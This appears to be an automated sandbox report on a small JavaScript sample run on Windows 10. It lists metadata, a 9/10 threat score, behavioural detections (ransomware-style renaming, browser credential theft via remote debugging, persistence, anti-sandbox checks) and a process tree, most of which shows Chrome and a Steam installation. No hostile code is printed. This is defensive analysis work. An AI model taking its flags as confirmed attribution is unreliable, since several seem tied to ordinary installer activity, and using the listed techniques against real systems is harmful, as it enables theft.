Overview

overview

9

Static

static

1

message - ...024.js

windows10-ltsc_2021-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    903s
  • max time network
    1807s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    27/07/2026, 11:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    message - 2026-07-27T022449.024.js
  • Size 3KB
  • Sample260727-nbbfmaae94
  • SHA256 de1decf136c08cdba5c15a80898553f4dd69fb3c9e6fe1369ede5a301ee9a2ee
  • MD5 SHA1 SHA512 TLSH
Score
9/10
credential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Renames multiple (6135) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 2 IoCs
  • Uses browser remote debugging 2 TTPs 27 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 13 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 10 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 5 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 33 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 15 IoCs
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 11 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\message - 2026-07-27T022449.024.js"
    1⤵
      PID:3076
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff8dfedc728,0x7ff8dfedc734,0x7ff8dfedc740
        2⤵
          PID:5068
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1728,i,3173342448973393849,4169844083902570483,262144 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1940 /prefetch:2
          2⤵
            PID:2636
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1636,i,15809583913087888339,11395887529819668030,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2268 /prefetch:3
            2⤵
            • Downloads MZ/PE file
            • System Time Discovery
            PID:4284
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,5511137173437405177,725197203169094542,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2488 /prefetch:8
            2⤵
              PID:4664
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,18336518949854831314,7028278574313685638,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3272 /prefetch:1
              2⤵
                PID:3788
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3224,i,1436767285094051400,13719789394239772577,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3324 /prefetch:1
                2⤵
                  PID:3800
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4452,i,5049612925863884599,8464117038897744998,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4464 /prefetch:2
                  2⤵
                    PID:3564
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4700,i,17069632279419444785,17254329297883015790,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4720 /prefetch:1
                    2⤵
                      PID:3332
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,5656312159253205302,15791873860336782520,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5400 /prefetch:8
                      2⤵
                        PID:4004
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5712,i,8101271650168731948,10525606717797105205,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5732 /prefetch:1
                        2⤵
                          PID:5200
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4748,i,2150508552725767924,8388406957470481906,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:1
                          2⤵
                            PID:5820
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3324,i,14303297643831146645,8360163375586211551,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3492 /prefetch:1
                            2⤵
                              PID:2140
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3452,i,11146728497486712700,10392264357911039582,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3376 /prefetch:1
                              2⤵
                                PID:428
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3460,i,9676913965119028788,3517131145451037070,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3308 /prefetch:8
                                2⤵
                                  PID:5320
                                • C:\Users\Admin\Downloads\SteamSetup.exe
                                  "C:\Users\Admin\Downloads\SteamSetup.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Adds Run key to start application
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of WriteProcessMemory
                                  PID:5660
                                  • C:\Program Files (x86)\Steam\bin\steamservice.exe
                                    "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install
                                    3⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Modifies registry class
                                    PID:3948
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6132,i,9298997674567546599,5341334691759712610,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=504 /prefetch:8
                                  2⤵
                                    PID:720
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3968,i,2262510778800282110,17348659287150911500,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3412 /prefetch:8
                                    2⤵
                                      PID:5244
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6096,i,1644492675336639843,12745728856657092402,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6104 /prefetch:8
                                      2⤵
                                        PID:4184
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5652,i,1765435815677117887,17365463353892576362,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5828 /prefetch:1
                                        2⤵
                                          PID:2632
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6068,i,2537218183069347169,1418901041590404764,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6028 /prefetch:1
                                          2⤵
                                            PID:404
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6252,i,12375634515052543899,12167275602925443783,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6208 /prefetch:1
                                            2⤵
                                              PID:700
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=3464,i,4305588781993899214,10275941473482239186,2097152 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6324 /prefetch:1
                                              2⤵
                                                PID:4088
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4512,i,12513253801163281777,15567834275268252277,262144 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5772 /prefetch:8
                                                2⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:11400
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5796,i,17505419726558047247,1377885614738970849,524288 --field-trial-handle=1944,i,2500376943048886044,11457289802614364562,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4420 /prefetch:8
                                                2⤵
                                                  PID:7008
                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                1⤵
                                                  PID:3872
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                  1⤵
                                                    PID:3336
                                                  • C:\Program Files (x86)\Steam\Steam.exe
                                                    "C:\Program Files (x86)\Steam\steam.exe" -silent
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Modifies trusted root certificate store through registry
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Modifies system certificate store
                                                    PID:4820
                                                  • C:\Program Files (x86)\Common Files\Steam\steamservice.exe
                                                    "C:\Program Files (x86)\Common Files\Steam\steamservice.exe" /RunAsService
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5180
                                                  • C:\Program Files (x86)\Steam\Steam.exe
                                                    "C:\Program Files (x86)\Steam\Steam.exe"
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Drops file in Program Files directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:3752
                                                    • C:\Program Files (x86)\Steam\Steam.exe
                                                      "C:\Program Files (x86)\Steam\Steam.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Drops file in Program Files directory
                                                      • System Location Discovery: System Language Discovery
                                                      • Checks processor information in registry
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:11848
                                                      • C:\Program Files (x86)\Steam\Steam.exe
                                                        "C:\Program Files (x86)\Steam\Steam.exe"
                                                        3⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Drops file in Program Files directory
                                                        • Checks SCSI registry key(s)
                                                        • Checks processor information in registry
                                                        • Modifies registry class
                                                        • Modifies system certificate store
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Suspicious use of SendNotifyMessage
                                                        • Suspicious use of SetWindowsHookEx
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:7084
                                                        • C:\Program Files (x86)\Steam\steamsysinfo.exe
                                                          "C:\Program Files (x86)\Steam\steamsysinfo.exe" -steamid 0 -buildid 1784778118 -logdir "C:\Program Files (x86)\Steam\logs" -nocrashdialog -query 1 -out-file C:\Users\Admin\AppData\Local\Temp\B766.tmp
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          PID:4064
                                                        • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                          "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" -nocrashdialog "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=7084" "-buildid=1784778118" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-uimode=7" "-startcount=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" "-steampath=C:\Program Files (x86)\Steam\Steam.exe" "-launcher=0" --valve-enable-site-isolation --enable-smooth-scrolling "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-component-update "--gaia-url=http://disabled.invalid" "--enable-features=PlatformHEVCDecoderSupport" "--disable-features=WinRetrieveSuggestionsOnlyOnDemand,SpareRendererForSitePerProcess,DcheckIsFatal,BlockPromptsIfIgnoredOften,WebUsbDeviceDetection,ValveFFmpegAllowLowDelayHEVC"
                                                          4⤵
                                                          • Checks computer location settings
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Checks processor information in registry
                                                          • Enumerates system info in registry
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of FindShellTrayWindow
                                                          • Suspicious use of SendNotifyMessage
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:7204
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=crashpad-handler /prefetch:4 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1784778118 --initial-client-data=0x288,0x28c,0x290,0x284,0x294,0x7ff8cb4eaea0,0x7ff8cb4eaeac,0x7ff8cb4eaeb8
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:7264
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=gpu-process --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=1928 --mojo-platform-channel-handle=1920 /prefetch:2
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:7640
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=2200,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2240 --mojo-platform-channel-handle=2236 /prefetch:3
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • System Time Discovery
                                                            PID:7560
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=2308,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=2336 --mojo-platform-channel-handle=2332 /prefetch:8
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:8196
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --start-stack-profiler --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=4060,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=4080 --mojo-platform-channel-handle=4076 /prefetch:1
                                                            5⤵
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            PID:10068
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --field-trial-handle=5012,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5016 --mojo-platform-channel-handle=5008 /prefetch:8
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:6328
                                                          • C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe
                                                            "C:\Program Files (x86)\Steam\bin\cef\cef.win64\steamwebhelper.exe" --type=renderer --enable-chrome-runtime --user-data-dir="C:\Users\Admin\AppData\Local\Steam\htmlcache" --user-agent-product="Valve Steam Client" --buildid=1784778118 --steamid=0 --gaia-url=http://disabled.invalid --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=5076,i,5753670765477836637,4449356021135971506,262144 --enable-features=PlatformHEVCDecoderSupport --disable-features=BlockPromptsIfIgnoredOften,DcheckIsFatal,SpareRendererForSitePerProcess,ValveFFmpegAllowLowDelayHEVC,WebUsbDeviceDetection,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --enable-logging=handle --log-file=5204 --mojo-platform-channel-handle=3476 /prefetch:1
                                                            5⤵
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            PID:16192
